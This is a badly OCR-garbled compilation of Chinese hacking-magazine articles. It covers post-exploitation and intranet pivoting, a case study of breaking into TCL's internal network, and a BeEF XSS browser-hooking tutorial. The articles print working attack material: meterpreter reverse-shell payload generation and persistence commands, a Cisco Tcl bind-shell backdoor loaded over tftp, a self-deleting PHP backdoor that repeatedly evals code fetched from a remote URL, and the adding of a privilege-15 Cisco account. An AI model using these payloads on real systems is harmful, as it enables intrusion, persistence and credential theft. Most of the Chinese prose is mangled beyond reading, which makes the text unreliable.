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2 SubDmainsBrute T-1H42 & JIAZE python IS oo, 94
B INTE BT T ettt 95
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F—F AMEE

B1F AMBEREE

YE#&: redrain B i
KH: ZRARE - WooYun
MEk:  http://drops.wooyun.org/

0x00 HI &

A B IEA NAME WA IEE T, zone WATRZ /MR T — L84 203 1) i
A, FTULRACHIES VIRRCE, AN, B &AL IE.

BANWMZE R EA R PR SCE R VRIS 21, Fr DRSS A BEAR, ARZI0R ) LS W)L .
0x01 PN RIREMEE R

1 Ik QAN S A ACEE

host target / proxy

drops.wooyun.org
K 1-1-1
7 B X 4 — T IE [ AREAN S e AR (] 1-1-1)
1.1 1 [F4XPE(Forward Proxy)

Lhost ——) proxy ——) Rhost

Lhost 24 1 i 1] 2] Rhost, [a] proxy &i% | —ME R H H 58 E HFr /g Rhost, 85 proxy [A] Rhost
HAZE R I WG IRIF N IR B 25 Lhost, & LR Ud IE MAREE A2 proxy A 7 HATE VM
Rhost.

1.2 JaARFE (reverse proxy)

Lhost<--->proxy<--->firewall<--->Rhost

AEFARHEA S, Lhost KA proxy AOEEIEIER, BAREEHEREE, proxy B CHIKT,
SRR AR [0 A B AT (IR, XA R4 AR At A R 517 i A SEVF proxy icdfa it Hh A I ik ]
AR EAT 55 .

1.3 fafX 7>

2 /48 120 W B http://t.qq.com/hackcto HARH: 48 15 H A& Rk




(k) —5 B SBE R ‘B 7 M35k : www.hackcto.com & & %05 - HACKCTO-201504-28

EFAREE 2 FRATH E (Lhost) 8 (proxy)fdiidk 25, [ A FE & it (Rhost) & Bl ik _E A (proxy) A
- >k(Lhost).

zone HNMBIERIE A (http://zone.wooyun.org/content/18683) 5 A 1] T aifa[{CFL iHE4T
PN IR 92325 1) )

2 ILAREE

WA, EIATNNBE, BRI TR e 75 LR el 8, H L ACER Ty TR T A4y 9ix
2 JLF: VPN F%iE / SSH B%iE . JEId HTTP service FIAREE. H B4,

2.1 VPN f%i / SSH BZiE

AP AREE 7 20T 2 E AL m AR (system/root) ELE AT T RGE D BERIT 5 9 AR I BEIE, AT
B VPN # LA, X EAMEER, ATE —F @ SSH REE AT AR

ssh -qTfnN -L port:host:hostport -l user remote_ip ~ #.iFjijfgie, HiWr A4 port

ssh -qTfnN -R port:host:hostport - user remote_ip ~ #/<[7Jf5E, JH T M FZ R KR &
SSH -qTfnN -D port remotehost  # E /7 socks 1CFE

ssh -qTfnN -L port:host:hostport -l user remote_ip ~ #.iFjijfgie, HiWr A4 port

ssh -qTfnN -R port:host:hostport - user remote_ip  #/</7Jf5E, JH T M FZ R KR &
SSH -qTfnN -D port remotehost  # E 5 /7 socks 1CFE

ZHIFHF:

-q Quiet mode. ZEFFEZ(

-T Disable pseudo-tty allocation. 4>/ /F shell T

-f Requests ssh to go to background just before command execution. J& 517, HIEZW L -n =%
-N Do not execute a remote command. H T FEd S, G 1E R E 7~

A, FATTFILEA I VR TR, al Lol ssh KA 54

ssh -CfNg -L port1:127.0.0.1:port2 user@host ~ #AKHFER
ssh -CfNg -R port2:127.0.0.1:port1 user@host ~ #ZFEFHELR

KEA[LASHIXF paper, dEH#E. SSH Port Forwarding,

(PIE: http://staff. washington.edu/corey/fw/ssh-port-forwarding.html, %24 (M) -
http://pan.baidu.com/s/1hqtMWza )

2.2 it HTTP service fRAREE

i B SR Ut A H bR 55 2% EALE—> webshell, 383 shell REEFTH KR EZ KEINM, &
WL/ L EA reGeorg, meterpreter, tunna 5%, 2 HES —/RHAARIEEA, £
HOHLES FACE — T nginx BT R IAAQEE

- reGeorg Hir T 22 1RIE 4 T (https://github.com/sensepost/reGeorg)

Step 1. Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)

Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when
you started the reGeorgSocksProxy.py

** Note, if you tools, such as NMap doesn't support socks proxies, use [proxychains] (see wiki)
Step 3. Hack the planet :)

VERZEE urllib3 BIR] (regeorg IR 7, FWEARIAHX) .

- meterpreter

msf JEHBRR, FEHEAT A RR2IE IR A RN — AN Pk %, ER 3T, " RLEHA
AN AT SO SR 1T, ARG IR Bl meterpreter, 0] PLAE B — N webshell 3K i [A]
meterpreter, <7 meterpreter, Dm ZICEUMIERTEE I metasploit ZENAZE L
(meterpreter %)
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(MIhE: http://drops.wooyun.org/tips/2227, L& HILE: http://pan.baidu.com/s/IhqtMWza )

2.2.1 windows A iG]

msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X >

shell.exe

2.2.2 Linux ZERJET]

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>R |

msfencode -t elf -o shell

2.2.3php il

msfpayload php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>R |
msfencode -e php/base64( 7] [T H# 4#/5) -t raw -o base64php.php

A3 meterpreter 215 5, HAg msf B R IRAE 7, SHEHMINE, BINEHERE, B
FAE U msf &P BGEEREGEATHR GER, XEEn DU T EMBERTD .

T R i R AR AT R B AR B TAE,  auxiliary/server/socksda FEERE[IT] ,

X P F| meterpreter FTUAZ Bi—Hh), ZATULAT ssh B, WGy X EAR1d, ] DU 5§
IS msf KE A7 tunnel:

load meta_ssh
use multi/ssh/login_password

W E 1S4 )7 exploit Bl ] IR & ig T CHEEREE

HEHiE L webshell F1 nginx S [ fQEE :

http://zone.wooyun.org/content/11096

3. other tricks

python, ruby, perl 25 H #2457 socks £z .
lex, tunna, htran ZF5EEE T LR K .
shadowsocks, tor, goagent 2545,

BB /INR Y ssocks (— IR LL SR I BBE FEAN BRBRAEFE A ) 1IE RIMREE, 3% socks5 47 .

CF#EHAE: http://sourceforge.net/projects/ssocks/?source=navbar, L<EZF 4 HHT) -
http://pan.baidu.com/s/1kT10url )

0x02 P PIFRIEIRIFIf:E B e &R
FUA—A e BB R M 55 2 P O, B DUIX LU AT e bR AR, JEARHT 2 — L/ N I A
ijﬁ%:
- Nmap AREE 3T BRI
proxychains nmap
2 meterpreter 231G AT A, 7] B 4%18 1L /usr/share/metasploit-framework/modules/
auxiliary/scanner JIZ I3 RI AT,
& hosts IKRELA M FHLE S
AR W B BB AL, AT I B S5 R (BREEM TCL HEIRTFE W B &2
EZ NG BERIAN S5 EHES USRI T cisco BEHHIY privilegel5 AUFR, 193] 1 A4S
¥, BT vian Bidi) (WA ESHE 8 7))

ZARAZ WAL snmp F9H 4, — BT, P RN 25 i T
T snmp Bi%E
fH 245 snmp, HATHZR.
T snmp EHES, RFEZE community string EIT],  FrLUEFRHZ A string A ELE
THRZRTATHI, ERIA public/private.
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BT 161 i A4S, KB snmp FREUE DL, @55 O EERAE R, 1E oid FRELELK
N, W 1-1-2:

J-'¢ 218.206.13.51 : U200-A
J Unknewn
Community String: public
[5]-w System MIB
) system Neme: U200-2
i
ﬁ Contact: Hangzhou H3C Technologies Co., Ltd.
; |l.l| Location: Hangzhou, China
J.Q sysObjectID: 1.3.6.1.4.1.2550€.1.302
i Last Boot: 2013/4/13 19:43:11
; <1‘> Router (will forward IP packets ?) : Yes
B Interfaces
i @ﬂl 7 interfaces

+-@ 1 GigabitEthernet0/0 GigabitEthernet0/0 Interface
+-@ 2 GigabitEthernet0/1 GigabitEthernet0/1 Interface
FH-@ 3 GigabitEthernet/2 GigabitEthernet0/2 Interface
+-@ 4 GigabitEthernet0/3 GigabitEthernet0/3 Interface
+-@ 5 GigabitEthernet0/4 GigabitEthernet0/4 Interface
+H-@ 6 GigabitEthernet0/5 GigabitEthernet0/5 Interface
@ 7  NULLO NULLO Interface

(e Hub ports
P TCP/IP Networks
(e IPX Network

[~ BARP Table
[ UDP Services

[ TCP Connections

drops.wooyun.org
N O E

K 1-1-2

Bil7: P ER SRRy =R SNMP Ui, FIERIUE BEIK 5%, CNDIE S

(http://www.wooyun.org/bugs/wooyun-2013-021964,
LWEBELZ M) http://pan.baidu.com/s/1jGzi7hs )

] LB XA nmap Al msf JIAHE1T B 335 h3c-pt-tools:

Hifif: https://github.com/grutz/h3c-pt-tools

XML H el B B 4R IR SR BURE R LB ERN 2 keylogger I 4EJn 1E
AN TSR B PR EBD anEl: 1-1-3:
B/ PN

I BEABRRBECIEHA TN EXEN
[ BSHWER)
BRSHR.ipg
N BRERSCNARSRERNKERBEEXAR(ER)
W RERREs
o Eem
M BELRFREX(FELRR
W AFaunFR
M snmpBEFRIBABN/LERFR (SSRTERD
9 Unix 3t

v

v

v
©

®

4

A4

v

K 113
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-JB1L resolv.conf FE| N W dns A% &%, BiE 4L 55 % dns.
SEE TR ) bash_history, — AT BT HS I BOAEFE 2I 0, 255, SR~/ .shh/, 2
AL A history B3%E 32 20 5% L F i i 2 51 5 it AR AL 2%
0x03 AMBERIH R LTS
I F S ESCERAIERI,  FIT LS LS, W1 OA, dbserver, FJH ssh {51, #
AHLERJE T AT userlist, MUSENRITER) 8, KES> I 22 EAGR IS, Hi
oo i R 1A 24 CRA R HBAMEIAM)

%username%1

%username%12

%username%123

%username%1234

%username%12345

%username%123456
FHXT ssh,dbserver,vne,ftp BEATEM, WK 1-1-4:

idsinfo

idsinfo

idsinfo
administrator a%9a’//2ecf4eaaelbaad
administrator idsinfo
administratorn a%a/72ecf4eaaeclbaad

idsinfo

idsinfo

idsinf@
sa

idsdado
idsinfo

administrator aYa772ecf4eaaeclbaad
id s iavfie
administgator 1ds 1nfe
idsanfa
1dsinTo

sa
idsinfo

sa sa
idsinfo
administrator idsinfo
idsinfo
idsinfo
idsinfo
idsinfo
445 administrator idsinfo

K 114
ST web service [ server AT H B E, A 0] LA TAEE R IMER 2 X WA IR
il banner, @i banner HIWTH ecms BRI, BRI exp.
LIPS
H H ettercap, ANEVAH arp B mitm, 7] P22 dhep mitm B3 icmp mitm.
WATDRB — s, BhiFdfE, ihMoe, s I evilgrade 25 0h3& B4 BB (40 notepad++),
SRIGIRGE LJETT, BEEAT T TIENLES, EALBAM, Wk 1-1-5 fE 1-1-6:
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www. infobytesec. com
- 63 modules available

evilgrade=show modules

List of modules:

fcleaner
filezilla
flashget
flipdmac
freerip

getjar

gom
googleanalytics
growl

evilgrade>configure notepadplus
evilgrade( notepadplus) *show options

Name = notepadplus

Version = 1.0

Author = ["Francisco Amato < famato +[ AT]+ infobytesec. com="

Description = "The notepad++ use GUP generic update process so it''s boggy too.”
VirtualHost = "notepad- plus. sourceforge. net"

enable | 1 | Status
| ./agent/agent. exe | Agent to inject |

evilgrade{ notepadplus) =

root@kali: ~/Veil-Evasion... root@kali: ~
K 1-1-6
8] LA B S5 msf ZE RG], start BIAT, FLA ettercap PR IE B R0 17, Wil 1-1-7:

507 T1/4E 120 70 B J50#E: http://t.qq.com/hackcto HRH: H 15 H
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| Notepad++ Plugin Manager PX{

‘ The following plugin updates are

Plugin Caty lnstallat = - —
V esprn oo Notad - wome

| An update package is available, do you want to download it?

Update Selected | Ignore Selected Updates 7 Cancel

drops.wooyun.org
K117

ARSI S . smb/ms08067/ipcS/NetBIOS: -+
R AEE N IX L LU 2 PRI BUE i, ARATREA AV 240, B UEA A7 5@ B 15T As
—F. W AIFETEH DM Z4R51RIR, B AV, WEREHERIA psexec Ik M2, HI$24,
XI5 AT AR powershell 2K bypass AVPowershell tricks::Bypass AV,
0x04 J5iZEMEANT KRR
—IRGER BN PNBIE H E AR REE — IR SR, OB SRR EAE B AR A", B
JE BB RS IR BB
1. JEIHER
msf KT TCAANE T, R ZM oS s e R 2 AT 75 K
I8 msfpayload ARG T TARRFEEMER), AR TIAT T R4RE TAE, PrUAREE— Rpgk
M.
msf FRFEEME 5 T 1A PRl , 8 R 55 )8 3l (metsve) il i J5 21 3005 8 (persistence)
RIS G T N ki, RS SR /E meterpreter, FIF TR BAE)ETT, JEid metsve
LHNRS

meterpreter > run metsvc

ABEG L, FEH EAEETT )
use exploit/multi/handler

set PAYLOAD windows/metsvc_bind_tcp

exploit

i3 JE s 5 3

meterpreter > run persistence -X -i 10 -p port -r hostip
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

exploit

MR, HEARBMETIATR SR, LR BEREZE -DMRABENLTAE, vei
(https://github.com/Veil-Framework/Veil-Evasion) , Z Fi#E—X/NY apt F1 X AN T 1)

J5 I 1B # bypass T 360.

linux NA BTG

mafix rookit Il Cymothoa, Ji&# W 1t AT LATE % root F 7', ANik KB 43 1 backdoor JEAS#iAH 24

8 Ui/t 120 W EJiTUME: bhttp://t.qq.com/hackcto HARH: 48 15 H A& Rk
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T—/NIN% ne, 2#FFumE, FreAUniE webshell £723E, 1 PLE #% & webshell 4ERF AR .
2. BEAEICx

keylogger TENMZZE R CJCHZILRRKMAMD , EARKCEIEH, FoyfE —4
Hh, AR E T — B

ixkeylog A& H FHII—, linux>=2.63 ¥ AT i FH (3huhik: https://github.com/dorneanu/ixkeylog/)
B8 H meterpreter 215 ) H T BEAL IC R D) BE

nE 1-1-8 A 1-1-9:

keyscan_start

keyscan_dump

K 1-1-8

Bllogo. txt - Y HH

VHE) EE RE0 EFW R

asd
asd
asd
asd
WANZWATIEWANE

drops.wooyun.org

B 119

F meterpreter 15 NP4, FERTE win AT MBI AFIEN, Aol ddtfe.
XEY—AI tips, WIRGEFF keylogger ZNTER, TILAM RSt/ —LIRFEWEHTH,
Ul navicat, putty, PLSQL, SecureCRT ZJS4=idk iiic %19 .
3. hash
mimikatz, ANHZ 1, FIF meterpreter 7] LA E % load #iLk,
Quarks PwDump
Wee %5
0x05 something else

RIS IS S TIAR T, AL 32 B0 21 (1) — LeAR 3] 51 g AR08 R L, AR B 1)«
WizidE . FTEHL. DPAPIRER . N1 H EIEH %S .

(43058) FiiE4mtE: Rexy
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F2W FEAMIE BRI EERES

{E#: redrain i

KEH: SRHARE - WooYun

Mk:  http://www.wooyun.org/

FENMZES, AN SRR 2E TAETT g B IR] 2 5C 2, an RARREBEIE 2 H bR
W EE S, BtEIT)E T god modes

EANZHI R, FATI LA FEAS I o PRI 7925, DA frr 78 S R BRI )\ 2, 3Kk
X AN god mode. LA, M web NS 11

url: bit.tcl.com

getshell 1R &5, phpcms ], — Phpcms V9 uc api SQL FZZ 1 B #% getshell, &3 shell, £
PRI &, system.

EEMREE, WK 1-2-1:

B 121
AWM+, 4T 10.4.22 FRAMHEE . EIXHE, WRBATEE IR ILIX G LA 31T
BiE, BEIERAIATHEMERN, NEIA T

0x00

WRAR R T A B 55 ENLHEAT B3, AT DM EE — 1 hosts, £1%F hosts 1)
FEHLVE RS PHEBIE .

0x01

WA AR A ¢ BUfTIBE, HLEGE BI040, X B 75 ZEIRATHEAT AR
B, RERH. ERAREE or I, Fybab FENLICE@E SN, B DARA TE £ IE [ AQHE
— I H B reGeorg:  https://github.com/sensepost/reGeorg

EAEARERA, AR5 H regerog HEATAREEEERE (regeorg T2 urllib3, Jit A&7 75 £ F BT,
e B, k] 1-2

B 1-2-2
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F nmap &7 ARERHH, IR 50T LA A proxychains 80 win ~{#iH proxycap.
AR FRATTX B A5 e it 1B 2333, FrLUMEEk— T proxychains [1) conf, 1] 1-2-3:

K 123
DA R AT I C B AE BARI
0x02
L%, APCEE AR, AR BREEER, REHER, BEAMLRMNERTAH
MRS, B, REEE T 7.
IS Z AT nmap 33, FATRBEAIE T I8 web IR HIFEHL, W& 1-2-4:
TCL

ciscofE B
10.4.22.11

10.4.22.12
10.4.22.13 admin/123456
cisco/cisco

tomcat
http://10.4.22.43/
http://10.4.22.35:8080/
http://10.4.22.37:8080/
http://10.4.22.56:8080/

%
http://10.4.22.21/

http://10.4.22.4

K o124
Vil 11, 12, 13 =G ENGE, K cisco MK, HZFFE web & HLH cisco M, BR
INE Y cisco PN, I 1-2-5:
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<« C | [4104.22.13
Cisco Systems
Accessing Cisco WS-C3560G-24TS "DZSW-3560-A"

Show diagnostic log - display the diagnostic log.
Monitor the router - HTML access to the command line interface at level 0,1,2,3.4,5,6.7.8.9.10,11,12,13,14,15

Show tech-support - display information commonly needed by tech support.
Exiended Ping - Send extended ping commands.

Web Conscle - Manage the Switch through the web interface.

Help resources

1. CCO at www.cisco.com - Cisco Connection Online, including the Technical Assistance Center (TAC).
2. tac@cisco.com - e-mdail the TAC.

3. 1-800-553-2447 or +1-408-526-720% - phone the TAC.

4. cs-html@cisco.com - e-mail the HTML interface development group.

K 1-2-5
FFHL web LI AR B2 AT LATE web St AT dr &1, (EZFRA TR AR H & 1, cisco
(RIASL PR 2 2 MR X
BT, BREA 15 MURS K, 15 IRURFEAE T N ECARUR .
EIXE, KAERYATEH os A S 2 (K 1-2-6) :

Home Exec

Command

Qutput

Command base-URL was: /level/01/exec/-
Complete URL was: /level/0l/exec/-/show/version/CR
Command was: show versiom

Cisco IOS Software, C3560 Software (C3560-ADVIPSERVICESK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fcl)
Copyright (c) 1986-2007 by Cisco Systems, Inc.

Compiled Fri 20-Jul-07 0l:44 by nachen

Image text-base: 0x00003000, data-base: 0x01500000

ROM: Bootstrap program is €3560 boot loader
BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(25r)SEE4, RELEARSE SOFTWARE (fcl)

DZ5W=-3560=A uptime is 4 years, 40 weeks, 3 days, 21 hours, 30 minutes
System returned to ROM by power-on
System image file is "flash:/c3560-advipservicesk9-mz.122-35.8E5.bin"

K 126
TRARAS ) 10S R] LAF F 2 A7 i) — AN E T 3E4T cisco B HHR AL K N LE web i, 7] LA privilege15
AT A4, WA 1-2-7:

L C [ 10.4.22.13/level/15/exec/-

DZSW-3560-A

Home Exec Configure

Command Username admin privilege 15 password 123456

Output

Command base-URL was: /level/l5/exec/-
Complete URL was: /level/15/exec/-/username/admin/privilege/15/password/123456/CR
Command was: username admin privilege 15 password 123456

K 1-2-7
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XEERRATEAA T —A> privilege15 M 7, X telnet I HAEERE, —EoANHE, W
K 1-2-8:

K 1-2-8
B RIRATHASZZR] T privilegels I .
FBA,  SRBRKBRK I O BT

DZSW-3560-A#en

en

DZSW-3560-A#show running-config
show running-config

Building configuration...

Current configuration : 3678 bytes
!

version 12.2

no service pad

service timestamps debug uptime
service timestamps log uptime
service password-encryption

!

hostname DZSW-3560-A

!

enable password 7 121A0C041104
!

username admin privilege 15 password 7 1543595F507F7D
no aaa new-model

system mtu routing 1500

vtp mode transparent

ip subnet-zero

ip routing

213 B/3 120 T EIE: http://t.qq.com/hackcto
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--More--
!
!
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 218
name Call_Center
!
vlan 220
!
vlan 222
name WEB
!
vlan 223
name DB
!
!
interface Port-channell
switchport trunk encapsulation dotlq
switchport mode trunk
!

interface Port-channel2

description Connect_To_YDBFZX-C3750_Pol

no switchport
ip address 10.68.3.2 255.255.255.252

!

interface GigabitEthernet0/1
switchport access vlan 218
switchport mode access

!

interface GigabitEthernet0/2
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/3

switchport access vlan 222
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switchport mode access

!

interface GigabitEthernet0/4
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/5
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/6
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/7
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/8
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/9
switchport access vlan 222
switchport mode access

!

interface GigabitEthernet0/10
switchport access vlan 222

switchport mode access

!

JUMNIE%s, DB, R[] vian BRARTRRET, 4HTHATZLE web vian 1],

HA & 6 B —FE 2Bk

WA HIFEZE T, WREAM L TLE web vian [, REIEN AR, HEE
2 vlan ZEE AT, WTE~BEARIRATH O H] 7R ek, 4R AT L !

RUNIRAS RIS 4E), FrLhE T 28 K4, fhiiRIk, A4, kUit GRE BRiE4, R1E,
GRE s — M e G MEIE L, HARADIREME Z LU FRIE D Re, 18 R E 2 Az
FE M 28 4N [7) B, GRE 75 P NIz A2 X 45 2 (RIS HH B RE G, DT A5 DX 245 () ok 2] B ) A%
.

http://itchenyi.blog.51cto.com/4745638/1137143 (L £Z 4 (- #ihf: http://pan.baidu.com/s/1bnCUalT)
http://www.codesky.net/article/201207/171461.html ( &4 4 (4 H0fF: http://pan.baidu.com/s/1jG1kzIW )

REFUSHEZPANHTT

L GRE FEIERCE., BATHAT LA R 5 5h—> vian LKl 1.

(N —2, HIGUAHN, HAEE call_center 1) vian T, &I MBI LRI Hi
IR

216 Bi/3 120 T EIE: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot




(k) —5 B SBE R ‘B 7 M35k : www.hackcto.com & & %05 - HACKCTO-201504-28

WL NAFREZETF T, MRRIBIEN H SR AR e, FEETEBE, REAR
A Re ik S5 BE 77 e ?

L, RISARIBARBL, X EAAIA PR TAERERHNEENZ2ET.

TG, XA cisco IR HHET], ATH & ERLE 1

cisco [ HH #% SCF TCL cisco AR,  Fr AFRATTY f5 1] thd it 3 ok 56 1

# TclShell.tcl v0.1 by Andy Davis, IRM 2007

#

# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only

proc callback {sock addr port} {

feonfigure Ssock -translation If -buffering line

puts Ssock " "

B e e B e e
puts Ssock "TclShell v0.1 by Andy Davis, IRM 2007"
PULS SSOCK "= [ == [ === [ === [ === [ === [ == [ === [ === [ === [ == [ === [ -"
puts Ssock " "

set response [exec "sh ver [ inc 10S"]

puts Ssock Sresponse

set response [exec "sh priv"]

puts Ssock Sresponse

puts Ssock " "

puts Ssock "Enter 10S command:"
fileevent Ssock readable [list echo Ssock]

}

proc echo {sock} {

global var

if {[eof Ssock] || [catch {gets Ssock line}]} {
}else {

set response [exec "Sline"]

puts Ssock Sresponse

}

set port 1234
set sh [socket -server callback Sport]
vwait var

close Ssh

RKAZIGH AT, SRR T ITE tosh #30, RESINETTIIA.

Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl

RARERA T TRIGT], T RBERETT DLEAE W BN OB &5 L%
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nc B87ip 1234 (I 07 Ja [T #1528

OK, t web FIATIWT 17, X—VIAREH4, FrLAIRATEN Z% web FIALES BT T ELRR a5 1
JalTs

YA, —DNRTERETT.

XANIFEZHT phinthon ZIMC & Uit 1, 2L php.ini B0 userini HJE 1T,
E—NA IR php 3B H R #rd—4.user.inis

W2 N auto_prepend_file=xxx.gif(png/jpg) 235, TARH xxx.gif Z K IrHIfETT.

A AT 22 http://drops.wooyun.org/tips/3424 &£ A&} LF: http://pan.baidu.com/s/1dDCPWIV

AN, ARSI IR T, IR TR T AR Bl — BIMEERIA T, =
A AN ERRIEE, H, sE R R TR R T .
JFHOCBE: ST TS5 — TR B &, RREERAERE G AFE, SMANTIER.

<?php
unlink(S_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);

set_time_limit(0);

Sremote_file = 'http://xxx/xxx.txt";

while(Scode = file_get _contents(Sremote_file)){
@eval(Scode);
sleep(5);

k

>

FE xxx.txt VS AR JE T TARES, U5 A JE k2 B B SRR AT txt ALY, ZHTHN
HiHT .

z I HS T —NERRISC R, ARATER A 2L

R T IXFER, ﬁn%imz‘% linux, AT DL FT B R 56 B 3 /Y crontab (U517
PATRARM LS — TR KBE, |l M S HT A L, dad AR 77 20 A kAT 8
W, KILT cisco E%Ha, TRAM AR RIAZEATIRAL, 8E T Hds, A vian 5 iR
Joigt, JFJH god modes

ROAFRATIX BB ML I, B DAUREARER R, H2, WmREBLE—NRE, L TR
(IE=IP

FIA tunna %% 3389 HAMMEERE (HRfEX Mg s, HAMYRRS] 750 um 1, (H2 R L
) dns, FAISOZF A OB, EREEEY KR (BHRLAMILE

BLE ERATE B TIRZ tol W 01 TH P 8088, 7T LB SN tol B4 HRAE B s, an
K 1-2-9:

3 bitcl.com < |mbitielcom < [

n' Order By 1 DESC Limit 0,20

| lastloginip I lastlogin... | email |
' 125.93.56... 1314152728 w@tcl.ccm

STTETAA 1192 1nhe 7 14A°N£01C22 TR afAenal Anm

B 129
RUNES AR E T, 5 vian B 4MO B, ke Ti8iE
(58 Ti{E9wH: Rexy
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37 P Xss WM IE FRFAZEAAMN

1E#: 360 %4k

KH: 360 %A%k

Pk:  http://bobao.360.cn

0x01 Ak

Beef H Fif KK SE 5 i 1T [ WEB HEZE X i °F- &5 , 4K : The Browser Exploitation Framework Project.
Beef I FH {47 511 XSS Jil, it —Et4m S 471 JavaScript Chook.js) 2l H bn FALHT N W &S,
I H AR ENL AR X ENL LS S, FRdE— PR A M, BlE metasploit 265 & A
MBI — KAAE

HM  http://beefproject.com/

% http://blog.beefproject.com/

0x02 %%

Kali linux REERINAKLEE beef, 772 HAT %3

apt-get update
apt-get install beef-xss

0x03 A\ |7J
0x03.1 Ja 3}
F H3: /Jusr/share/beef-xss

cd /usr/share/beef-xss
./beef

a3, WK 1-3-1 flE 1-3-2:

FEEL K | ZA206 AME 0751

root@SPRITEKING: Jusr/share/beef-xss

360% 245 ( bobao.360.cn )

B 1-31
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BeEF Authentication l'f
€ 2127001 v@ v
M Most Visitedv  [fJOffensive Security W Kali Linux '\ Kali Docs KJExploit-08 N Aircrack-ng

Authenteavon

Usemame

Password

( bobao.380.en )
K 132

127.0.0.1: 3000/ui/pannel

M5 % 8Y: beef/beef

Foka, Wik 1-3-3:

BeEF Control Panel - Iceweasel
File Edt View History Bookmarks Tools Help
BeEF Control Panel |
& (2127001 v@||Cv B’
B Most Visitedv  [flOffensive Secunity N\ Kali Linux N\ Kali Docs KBExploit-DB WAircrack-ng
W Bt 0445abna | Some B | Leoas
Heoked Browasre Getting Swrted

| Onire Srowrers

Otfie Browsers

Offcil weosee: g

Getting Started
Weicome to Det*

Betore beng able 1o hlly explore e ¥ amewark you wil have 1o hook’ a browser %o begn wih you
CAN POTE & D/OWS 10NN e BASKC GRmO pAGE Dare, Of e Advanced verson hary

1 you wart to hook ANY page (for debuggng ressors of course), drag e folowing bockmarkiet e
10 your browser's bookmark by, then simply Cick the shancut on anather page: ook Wl

Afer abrowser & hooked 1o the framework they wil appea 1 e Hocked Erowsers’ pared on the
I Mocked browsers wil appesr s eiher an orine Of 0Mine state, dapending on haw recenty they
have poled the bramework

Hooked Browsers

To rteract with & heoked browser simply left cick 2, & new 1ab wit apoeer. Each hooked brewser 10
s & rumber of b Ubs, descrbed Babw

Maln: Osspiry nformarien abeus e hocked browser after you've Fun Some Command mocies
Logs: Omplays recet g ertries releted 1 £ pw hocked trowwer
Commands: 7 i Agarat e hocked browser. Ths s

perform omer Act/es Wch as expIoEng Vuiner ibities
wihn the ool network of the Hooked Browser

Hocked Grewser, manpulige the DOM

Each command mod. has A talte It on, wheh 8 used 1 ndcite B falowrg
The command mod.e wirks aQanst 7 target and shauks De visbie 10 the user

© The cormand module works agarst e target, bt may be viskie 10 e user
The command modue 5 yet 1o b verfed agarst this taget

@ The corrard mode dors ot work agast s Lrge

Bask | Foguente
- XssRave: The XsaPme 120 s e see 1 ek £k termms o L e o the s 2 (s bt gl

K 133
demos:Beef-Xss ip:3000/demos/butcher/index.html
MR & EHLN LSBT IR, WK 1-3-4:
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fifS 1985-2801 Microsoft Corp.

C:\Documents and Settings\Administratordping 172.16.244.129
Pinging 172.16.244.129 with 32 bytes of data:
Reply from 172.16.244.129: bytes=32 time=66ms TTL=64
Reply from 172.16.244.129: bytes=32 time<{ims TTL=64
Reply from 172.16.244.129: bytes=32 time<ims TTL=64
Reply from 172.16.244.129: bytes=32 time{ims TTL=64
Ping statistics for 172.16.244.129:
Packets: Sent = 4. Received = 4, Lost = @ (8x loss),
Approximate round trip tim in mill nds:

Minimum = Bms, Maximum = 66ms, Average = 16ms

C:\Documents and Settings\Administrator>

o4 C:\FINDO¥S\syste. ..

B ITEKIN e 8
{

AT e A A o]

[ ﬂ," F

Welcome to The Butcher, your source of delicious
meats. Please feel free to view our samples, sign up
to our mailing-list or purchase our special BeEF-
hamper!

:\Documents and Settings\Adninistratordping 172.1

Pinging 172.16.244.129 with 32 bytes of data:

Reply From 172.16.244.129: bytes=32 time=66ms TTL={
Reply from 172.16.244.129: byte s

Reply From 172.16.244.129: byte

Roply from 172.16.244.129: byte

Ping statistics for 172.16.244.
Packe Sent = 4, Received
pproximate round trip times in mi ccon
Wopd/ _' Mininun = Bms, Maximum = 66ms, Average = 16ms

:\Documents and Setti Mdninistrator>

% C:\YINDORS\syxta

K 135
demo T # A\ T hook.js 1 [i]->H1#H
0x04 #5
FE IR DU N script F5%%, BANEREBA, & 1-3-6:

| <acript gre="neep://1TT e CAORLAg

Kl 1-3-6
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E%ﬁﬁm¢($E*AﬁnmeMﬁtxﬁﬁﬁﬁﬁmmﬁmwﬁmAﬁ%
WX S P DL T, 2SR U R Xss P Eiebe | ERIFP O E G

CHohf - http://www.91ri.org/3839.html LB http://pan.baidu.com/s/1pJOuoyR )

IR, IXALEZFRSE Xss P&, A beef, Ff Beef Mi%, MVUGEAR G GEF RN
Cookie, HHCE Metasploit, 35 & LB EE O3 AL W5 2% 2 5k AR 5&)\/4\\377‘]@0
Online Browersers->£7 ii->Use As Proxy, W18 1-3-7:

e | & 127.001 pane

B Most Visitedv [l Offensive Security "8 Kali Linux " Kali Docs KMExploit-DB WA

Hooked Browsers
4 Online Browsers

Getting Started Logs

4 iI,E!g 511'!; T |'1'._E—" C ider cah
- I —
784 1723 - ( Module Resy
4 £ 0MMline Browsers | ¥ Us® as Proxy ~
| = ida label

4317216 244.12§ ¥ 4 Launch XssRays on Hooked Domain S
©BE 7102013 T JaUEEE i 000a9.380.cn )

Banlara LIBECe (Sl

K 1-3-7
FFBCA ARP By, MITM HRTE) NI, XTI BTA Http 1 K 38 M2 A,
Beef J5 &AL B EHL -2k, Wik 1-3-8:

BeEF Control Panel | & |
@ 127.0.0.1 oY ”
